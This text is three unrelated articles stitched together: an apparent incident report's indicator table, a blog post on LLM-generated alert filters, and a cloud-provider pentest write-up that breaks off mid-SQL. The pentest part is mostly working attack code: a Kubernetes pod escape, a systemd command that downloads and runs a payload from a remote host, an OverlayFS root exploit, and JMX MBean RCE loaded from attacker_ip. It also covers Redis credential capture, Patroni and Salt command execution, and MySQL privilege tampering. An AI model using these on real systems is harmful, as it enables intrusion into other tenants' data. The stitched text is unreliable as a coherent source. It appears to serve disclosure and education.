To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

• Trojan.MSIL.Agent.gen
• Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise	Description
45.91.94[.]204	SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8	vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi	Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29	C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/	Velociraptor server URL
199.232.210[.]172	C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5	Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE	VS Code Insiders for tunneling
91.224.92[.]121	Bulletproof-hosted C2 server
49.51.132[.]100	SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi	Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2	Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi	Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93	7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8	C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219	Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2	Vulnerable driver

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

This storage holds backups not only of the current instance but also of all other databases in the cloud.

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
